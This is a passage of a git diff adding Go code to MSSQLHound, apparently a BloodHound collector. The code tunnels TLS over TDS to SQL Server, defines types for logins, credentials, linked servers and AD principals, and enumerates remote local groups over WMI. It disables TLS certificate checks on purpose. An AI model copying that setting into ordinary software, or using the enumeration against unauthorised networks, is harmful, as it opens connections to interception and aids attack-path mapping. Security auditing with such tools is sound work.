+ if c.readBuf.Len() > 0 {
+ return c.readBuf.Read(b)
+ }
+
+ // Read a TDS packet and buffer the payload (TLS record data)
+ _, payload, err := c.tds.readFullPacket()
+ if err != nil {
+ return 0, err
+ }
+
+ c.readBuf.Write(payload)
+ return c.readBuf.Read(b)
+}
+
+func (c *tlsOverTDSConn) Write(b []byte) (int, error) {
+ // Wrap TLS data in a TDS PRELOGIN packet
+ if err := c.tds.sendPacket(tdsPacketPrelogin, b); err != nil {
+ return 0, err
+ }
+ return len(b), nil
+}
+
+func (c *tlsOverTDSConn) Close() error { return c.tds.conn.Close() }
+func (c *tlsOverTDSConn) LocalAddr() net.Addr { return c.tds.conn.LocalAddr() }
+func (c *tlsOverTDSConn) RemoteAddr() net.Addr { return c.tds.conn.RemoteAddr() }
+func (c *tlsOverTDSConn) SetDeadline(t time.Time) error { return c.tds.conn.SetDeadline(t) }
+func (c *tlsOverTDSConn) SetReadDeadline(t time.Time) error { return c.tds.conn.SetReadDeadline(t) }
+func (c *tlsOverTDSConn) SetWriteDeadline(t time.Time) error { return c.tds.conn.SetWriteDeadline(t) }
+
+// switchableConn allows swapping the underlying connection after TLS handshake.
+// During handshake, it delegates to tlsOverTDSConn. After handshake, it delegates
+// to the raw TCP connection for ENCRYPT_OFF or stays on TLS for ENCRYPT_REQ.
+type switchableConn struct {
+ c net.Conn
+}
+
+func (s *switchableConn) Read(b []byte) (int, error) { return s.c.Read(b) }
+func (s *switchableConn) Write(b []byte) (int, error) { return s.c.Write(b) }
+func (s *switchableConn) Close() error { return s.c.Close() }
+func (s *switchableConn) LocalAddr() net.Addr { return s.c.LocalAddr() }
+func (s *switchableConn) RemoteAddr() net.Addr { return s.c.RemoteAddr() }
+func (s *switchableConn) SetDeadline(t time.Time) error { return s.c.SetDeadline(t) }
+func (s *switchableConn) SetReadDeadline(t time.Time) error { return s.c.SetReadDeadline(t) }
+func (s *switchableConn) SetWriteDeadline(t time.Time) error { return s.c.SetWriteDeadline(t) }
+
+// performTLSHandshake establishes TLS over TDS and returns the tls.Conn.
+// The switchable conn allows the caller to swap back to raw TCP after handshake
+// (needed for ENCRYPT_OFF where TLS is only used during LOGIN7).
+func performTLSHandshake(tds *tdsConn, serverName string) (*tls.Conn, *switchableConn, error) {
+ handshakeAdapter := &tlsOverTDSConn{tds: tds}
+ sw := &switchableConn{c: handshakeAdapter}
+
+ tlsConfig := &tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server
+ // Disable dynamic record sizing for TDS compatibility
+ DynamicRecordSizingDisabled: true,
+ }
+
+ tlsConn := tls.Client(sw, tlsConfig)
+ if err := tlsConn.Handshake(); err != nil {
+ return nil, nil, fmt.Errorf("TLS handshake failed: %w", err)
+ }
+
+ // After handshake, switch underlying connection to raw TCP.
+ // TLS records now go directly on the wire (no TDS wrapping).
+ sw.c = tds.conn
+
+ return tlsConn, sw, nil
+}
+
+// performDirectTLSHandshake establishes TLS directly on the TCP connection
+// for TDS 8.0 strict encryption mode. Unlike performTLSHandshake which wraps
+// TLS records inside TDS PRELOGIN packets, this does a standard TLS handshake
+// on the raw socket (like HTTPS). All subsequent TDS messages are sent through
+// the TLS connection.
+func performDirectTLSHandshake(conn net.Conn, serverName string) (*tls.Conn, error) {
+ tlsConfig := &tls.Config{
+ ServerName: serverName,
+ InsecureSkipVerify: true, //nolint:gosec // EPA testing requires connecting to any server
+ // Disable dynamic record sizing for TDS compatibility
+ DynamicRecordSizingDisabled: true,
+ }
+
+ tlsConn := tls.Client(conn, tlsConfig)
+ if err := tlsConn.Handshake(); err != nil {
+ return nil, fmt.Errorf("TLS handshake failed: %w", err)
+ }
+
+ return tlsConn, nil
+}
diff --git a/internal/types/types.go b/internal/types/types.go
new file mode 100644
index 0000000..12eab1d
--- /dev/null
+++ b/internal/types/types.go
@@ -0,0 +1,239 @@
+// Package types defines the core data structures used throughout MSSQLHound.
+// These types mirror the data structures from the PowerShell version and are
+// used for SQL Server collection, BloodHound output, and Active Directory integration.
+package types
+
+import (
+ "time"
+)
+
+// ServerInfo represents a SQL Server instance and all collected data
+type ServerInfo struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Hostname string `json:"hostname"`
+ ServerName string `json:"serverName"`
+ SQLServerName string `json:"sqlServerName"` // Display name for BloodHound
+ InstanceName string `json:"instanceName"`
+ Port int `json:"port"`
+ Version string `json:"version"`
+ VersionNumber string `json:"versionNumber"`
+ ProductLevel string `json:"productLevel"`
+ Edition string `json:"edition"`
+ IsClustered bool `json:"isClustered"`
+ IsMixedModeAuth bool `json:"isMixedModeAuth"`
+ ForceEncryption string `json:"forceEncryption,omitempty"`
+ StrictEncryption string `json:"strictEncryption,omitempty"`
+ ExtendedProtection string `json:"extendedProtection,omitempty"`
+ ComputerSID string `json:"computerSID"`
+ DomainSID string `json:"domainSID"`
+ FQDN string `json:"fqdn"`
+ SPNs []string `json:"spns,omitempty"`
+ ServiceAccounts []ServiceAccount `json:"serviceAccounts,omitempty"`
+ Credentials []Credential `json:"credentials,omitempty"`
+ ProxyAccounts []ProxyAccount `json:"proxyAccounts,omitempty"`
+ ServerPrincipals []ServerPrincipal `json:"serverPrincipals,omitempty"`
+ Databases []Database `json:"databases,omitempty"`
+ LinkedServers []LinkedServer `json:"linkedServers,omitempty"`
+ LocalGroupsWithLogins map[string]*LocalGroupInfo `json:"localGroupsWithLogins,omitempty"` // keyed by principal ObjectIdentifier
+}
+
+// LocalGroupInfo holds information about a local Windows group and its domain members
+type LocalGroupInfo struct {
+ Principal *ServerPrincipal `json:"principal"`
+ Members []LocalGroupMember `json:"members,omitempty"`
+}
+
+// LocalGroupMember represents a domain member of a local Windows group
+type LocalGroupMember struct {
+ Domain string `json:"domain"`
+ Name string `json:"name"`
+ SID string `json:"sid,omitempty"`
+}
+
+// ServiceAccount represents a SQL Server service account
+type ServiceAccount struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name"`
+ ServiceName string `json:"serviceName"`
+ ServiceType string `json:"serviceType"`
+ StartupType string `json:"startupType"`
+ SID string `json:"sid,omitempty"`
+ ConvertedFromBuiltIn bool `json:"convertedFromBuiltIn,omitempty"` // True if converted from LocalSystem, NT AUTHORITY\*, etc.
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// ServerPrincipal represents a server-level principal (login or server role)
+type ServerPrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ PrincipalID int `json:"principalId"`
+ Name string `json:"name"`
+ TypeDescription string `json:"typeDescription"`
+ IsDisabled bool `json:"isDisabled"`
+ IsFixedRole bool `json:"isFixedRole"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ DefaultDatabaseName string `json:"defaultDatabaseName,omitempty"`
+ SecurityIdentifier string `json:"securityIdentifier,omitempty"`
+ IsActiveDirectoryPrincipal bool `json:"isActiveDirectoryPrincipal"`
+ SQLServerName string `json:"sqlServerName"`
+ OwningPrincipalID int `json:"owningPrincipalId,omitempty"`
+ OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"`
+ MemberOf []RoleMembership `json:"memberOf,omitempty"`
+ Members []string `json:"members,omitempty"`
+ Permissions []Permission `json:"permissions,omitempty"`
+ DatabaseUsers []string `json:"databaseUsers,omitempty"`
+ MappedCredential *Credential `json:"mappedCredential,omitempty"` // Credential mapped via ALTER LOGIN ... WITH CREDENTIAL
+}
+
+// RoleMembership represents membership in a role
+type RoleMembership struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name,omitempty"`
+ PrincipalID int `json:"principalId,omitempty"`
+}
+
+// Permission represents a granted or denied permission
+type Permission struct {
+ Permission string `json:"permission"`
+ State string `json:"state"` // GRANT, GRANT_WITH_GRANT_OPTION, DENY
+ ClassDesc string `json:"classDesc"`
+ TargetPrincipalID int `json:"targetPrincipalId,omitempty"`
+ TargetObjectIdentifier string `json:"targetObjectIdentifier,omitempty"`
+ TargetName string `json:"targetName,omitempty"`
+}
+
+// Database represents a SQL Server database
+type Database struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ DatabaseID int `json:"databaseId"`
+ Name string `json:"name"`
+ OwnerPrincipalID int `json:"ownerPrincipalId,omitempty"`
+ OwnerLoginName string `json:"ownerLoginName,omitempty"`
+ OwnerObjectIdentifier string `json:"ownerObjectIdentifier,omitempty"`
+ CreateDate time.Time `json:"createDate"`
+ CompatibilityLevel int `json:"compatibilityLevel"`
+ CollationName string `json:"collationName,omitempty"`
+ IsReadOnly bool `json:"isReadOnly"`
+ IsTrustworthy bool `json:"isTrustworthy"`
+ IsEncrypted bool `json:"isEncrypted"`
+ SQLServerName string `json:"sqlServerName"`
+ DatabasePrincipals []DatabasePrincipal `json:"databasePrincipals,omitempty"`
+ DBScopedCredentials []DBScopedCredential `json:"dbScopedCredentials,omitempty"`
+}
+
+// DatabasePrincipal represents a database-level principal
+type DatabasePrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ PrincipalID int `json:"principalId"`
+ Name string `json:"name"`
+ TypeDescription string `json:"typeDescription"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ IsFixedRole bool `json:"isFixedRole"`
+ OwningPrincipalID int `json:"owningPrincipalId,omitempty"`
+ OwningObjectIdentifier string `json:"owningObjectIdentifier,omitempty"`
+ DefaultSchemaName string `json:"defaultSchemaName,omitempty"`
+ DatabaseName string `json:"databaseName"`
+ SQLServerName string `json:"sqlServerName"`
+ ServerLogin *ServerLoginRef `json:"serverLogin,omitempty"`
+ MemberOf []RoleMembership `json:"memberOf,omitempty"`
+ Members []string `json:"members,omitempty"`
+ Permissions []Permission `json:"permissions,omitempty"`
+}
+
+// ServerLoginRef is a reference to a server login from a database user
+type ServerLoginRef struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ Name string `json:"name"`
+ PrincipalID int `json:"principalId"`
+}
+
+// DBScopedCredential represents a database-scoped credential
+type DBScopedCredential struct {
+ CredentialID int `json:"credentialId"`
+ Name string `json:"name"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// LinkedServer represents a linked server configuration
+type LinkedServer struct {
+ ServerID int `json:"serverId"`
+ Name string `json:"name"`
+ Product string `json:"product"`
+ Provider string `json:"provider"`
+ DataSource string `json:"dataSource"`
+ Catalog string `json:"catalog,omitempty"`
+ IsLinkedServer bool `json:"isLinkedServer"`
+ IsRemoteLoginEnabled bool `json:"isRemoteLoginEnabled"`
+ IsRPCOutEnabled bool `json:"isRpcOutEnabled"`
+ IsDataAccessEnabled bool `json:"isDataAccessEnabled"`
+ LocalLogin string `json:"localLogin,omitempty"`
+ RemoteLogin string `json:"remoteLogin,omitempty"`
+ IsSelfMapping bool `json:"isSelfMapping"`
+ ResolvedObjectIdentifier string `json:"resolvedObjectIdentifier,omitempty"` // Target server ObjectIdentifier
+ RemoteIsSysadmin bool `json:"remoteIsSysadmin,omitempty"`
+ RemoteIsSecurityAdmin bool `json:"remoteIsSecurityAdmin,omitempty"`
+ RemoteHasControlServer bool `json:"remoteHasControlServer,omitempty"`
+ RemoteHasImpersonateAnyLogin bool `json:"remoteHasImpersonateAnyLogin,omitempty"`
+ RemoteIsMixedMode bool `json:"remoteIsMixedMode,omitempty"`
+ UsesImpersonation bool `json:"usesImpersonation,omitempty"`
+ SourceServer string `json:"sourceServer,omitempty"` // Hostname of the server this linked server was discovered from
+ Path string `json:"path,omitempty"` // Chain path for nested linked servers
+ RemoteCurrentLogin string `json:"remoteCurrentLogin,omitempty"` // Login used on the remote server
+}
+
+// ProxyAccount represents a SQL Agent proxy account
+type ProxyAccount struct {
+ ProxyID int `json:"proxyId"`
+ Name string `json:"name"`
+ CredentialID int `json:"credentialId"`
+ CredentialName string `json:"credentialName,omitempty"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ Enabled bool `json:"enabled"`
+ Description string `json:"description,omitempty"`
+ Subsystems []string `json:"subsystems,omitempty"`
+ Logins []string `json:"logins,omitempty"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// Credential represents a server-level credential
+type Credential struct {
+ CredentialID int `json:"credentialId"`
+ Name string `json:"name"`
+ CredentialIdentity string `json:"credentialIdentity"`
+ CreateDate time.Time `json:"createDate"`
+ ModifyDate time.Time `json:"modifyDate"`
+ ResolvedSID string `json:"resolvedSid,omitempty"` // Resolved AD SID for the credential identity
+ ResolvedPrincipal *DomainPrincipal `json:"resolvedPrincipal,omitempty"` // Resolved AD principal for node creation
+}
+
+// DomainPrincipal represents a resolved Active Directory principal
+type DomainPrincipal struct {
+ ObjectIdentifier string `json:"objectIdentifier"`
+ SID string `json:"sid"`
+ Name string `json:"name"`
+ SAMAccountName string `json:"samAccountName,omitempty"`
+ DistinguishedName string `json:"distinguishedName,omitempty"`
+ UserPrincipalName string `json:"userPrincipalName,omitempty"`
+ DNSHostName string `json:"dnsHostName,omitempty"`
+ Domain string `json:"domain"`
+ ObjectClass string `json:"objectClass"` // user, group, computer
+ Enabled bool `json:"enabled"`
+ MemberOf []string `json:"memberOf,omitempty"`
+}
+
+// SPN represents a Service Principal Name
+type SPN struct {
+ ServiceClass string `json:"serviceClass"`
+ Hostname string `json:"hostname"`
+ Port string `json:"port,omitempty"`
+ InstanceName string `json:"instanceName,omitempty"`
+ FullSPN string `json:"fullSpn"`
+ AccountName string `json:"accountName"`
+ AccountSID string `json:"accountSid"`
+}
diff --git a/internal/wmi/wmi_stub.go b/internal/wmi/wmi_stub.go
new file mode 100644
index 0000000..5bf2669
--- /dev/null
+++ b/internal/wmi/wmi_stub.go
@@ -0,0 +1,22 @@
+//go:build !windows
+
+// Package wmi provides WMI-based enumeration of local group members.
+// This is a stub for non-Windows platforms.
+package wmi
+
+// GroupMember represents a member of a local group
+type GroupMember struct {
+ Domain string
+ Name string
+ SID string
+}
+
+// GetLocalGroupMembers is not available on non-Windows platforms
+func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) {
+ return nil, nil
+}
+
+// GetLocalGroupMembersWithFallback is not available on non-Windows platforms
+func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember {
+ return nil
+}
diff --git a/internal/wmi/wmi_windows.go b/internal/wmi/wmi_windows.go
new file mode 100644
index 0000000..00005f2
--- /dev/null
+++ b/internal/wmi/wmi_windows.go
@@ -0,0 +1,155 @@
+//go:build windows
+
+// Package wmi provides WMI-based enumeration of local group members on Windows.
+package wmi
+
+import (
+ "fmt"
+ "regexp"
+ "strings"
+
+ "github.com/go-ole/go-ole"
+ "github.com/go-ole/go-ole/oleutil"
+)
+
+// GroupMember represents a member of a local group
+type GroupMember struct {
+ Domain string
+ Name string
+ SID string
+}
+
+// GetLocalGroupMembers enumerates members of a local group on a remote computer using WMI
+func GetLocalGroupMembers(computerName, groupName string, verbose bool) ([]GroupMember, error) {
+ var members []GroupMember
+
+ // Always show which group we're enumerating
+ fmt.Printf("Enumerating members of local group: %s\n", groupName)
+
+ // Initialize COM
+ if err := ole.CoInitializeEx(0, ole.COINIT_MULTITHREADED); err != nil {
+ // Check if already initialized (error code 1 means S_FALSE - already initialized)
+ oleErr, ok := err.(*ole.OleError)
+ if !ok || oleErr.Code() != 1 {
+ return nil, fmt.Errorf("COM initialization failed: %w", err)
+ }
+ }
+ defer ole.CoUninitialize()
+
+ // Create WMI locator
+ unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
+ if err != nil {
+ return nil, fmt.Errorf("failed to create WMI locator: %w", err)
+ }
+ defer unknown.Release()
+
+ wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
+ if err != nil {
+ return nil, fmt.Errorf("failed to query WMI interface: %w", err)
+ }
+ defer wmi.Release()
+
+ // Connect to remote WMI
+ // Format: \\computername\root\cimv2
+ wmiPath := fmt.Sprintf("\\\\%s\\root\\cimv2", computerName)
+ serviceRaw, err := oleutil.CallMethod(wmi, "ConnectServer", wmiPath)
+ if err != nil {
+ return nil, fmt.Errorf("failed to connect to WMI on %s: %w", computerName, err)
+ }
+ service := serviceRaw.ToIDispatch()
+ defer service.Release()
+
+ // Query for group members
+ // WMI query: SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='COMPUTERNAME',Name='GROUPNAME'"
+ query := fmt.Sprintf(`SELECT * FROM Win32_GroupUser WHERE GroupComponent="Win32_Group.Domain='%s',Name='%s'"`,
+ computerName, groupName)
+
+ resultRaw, err := oleutil.CallMethod(service, "ExecQuery", query)
+ if err != nil {
+ return nil, fmt.Errorf("WMI query failed: %w", err)
+ }
+ result := resultRaw.ToIDispatch()
+ defer result.Release()
+
+ // Get count
+ countVar, err := oleutil.GetProperty(result, "Count")
+ if err != nil {
+ return nil, fmt.Errorf("failed to get result count: %w", err)
+ }
+ count := int(countVar.Val)
+
+ if verbose {
+ fmt.Printf("Found %d members in %s\n", count, groupName)
+ }
+
+ // Pattern to parse PartComponent
+ // Example: \\\\COMPUTER\\root\\cimv2:Win32_UserAccount.Domain="DOMAIN",Name="USER"
+ partPattern := regexp.MustCompile(`Domain="([^"]+)",Name="([^"]+)"`)
+
+ // Iterate through results
+ for i := 0; i < count; i++ {
+ itemRaw, err := oleutil.CallMethod(result, "ItemIndex", i)
+ if err != nil {
+ continue
+ }
+ item := itemRaw.ToIDispatch()
+
+ // Get PartComponent (the member)
+ partComponentVar, err := oleutil.GetProperty(item, "PartComponent")
+ if err != nil {
+ item.Release()
+ continue
+ }
+ partComponent := partComponentVar.ToString()
+
+ // Parse the PartComponent to extract domain and name
+ matches := partPattern.FindStringSubmatch(partComponent)
+ if len(matches) >= 3 {
+ memberDomain := matches[1]
+ memberName := matches[2]
+
+ // Skip local accounts and well-known local accounts
+ upperDomain := strings.ToUpper(memberDomain)
+ upperComputer := strings.ToUpper(computerName)
+
+ if upperDomain != upperComputer &&
+ upperDomain != "NT AUTHORITY" &&
+ upperDomain != "NT SERVICE" {
+
+ if verbose {
+ fmt.Printf("Found domain member: %s\\%s\n", memberDomain, memberName)
+ }
+
+ members = append(members, GroupMember{
+ Domain: memberDomain,
+ Name: memberName,
+ })
+ }
+ }
+
+ item.Release()
+ }
+
+ // Always show the result
+ if len(members) > 0 {
+ fmt.Printf("Found %d domain members in %s\n", len(members), groupName)
+ } else {
+ fmt.Printf("No domain members found in %s\n", groupName)
+ }
+
+ return members, nil
+}
+
+// GetLocalGroupMembersWithFallback tries WMI enumeration and returns an empty slice on failure
+func GetLocalGroupMembersWithFallback(computerName, groupName string, verbose bool) []GroupMember {
+ members, err := GetLocalGroupMembers(computerName, groupName, verbose)
+ if err != nil {
+ if verbose {
+ fmt.Printf("WARNING: WMI enumeration failed for %s\\%s: %v\n", computerName, groupName, err)
+ } else {
+ fmt.Printf("WARNING: WMI enumeration failed for %s\\%s. This may require remote WMI access permissions.\n", computerName, groupName)
+ }
+ return nil
+ }
+ return members
+}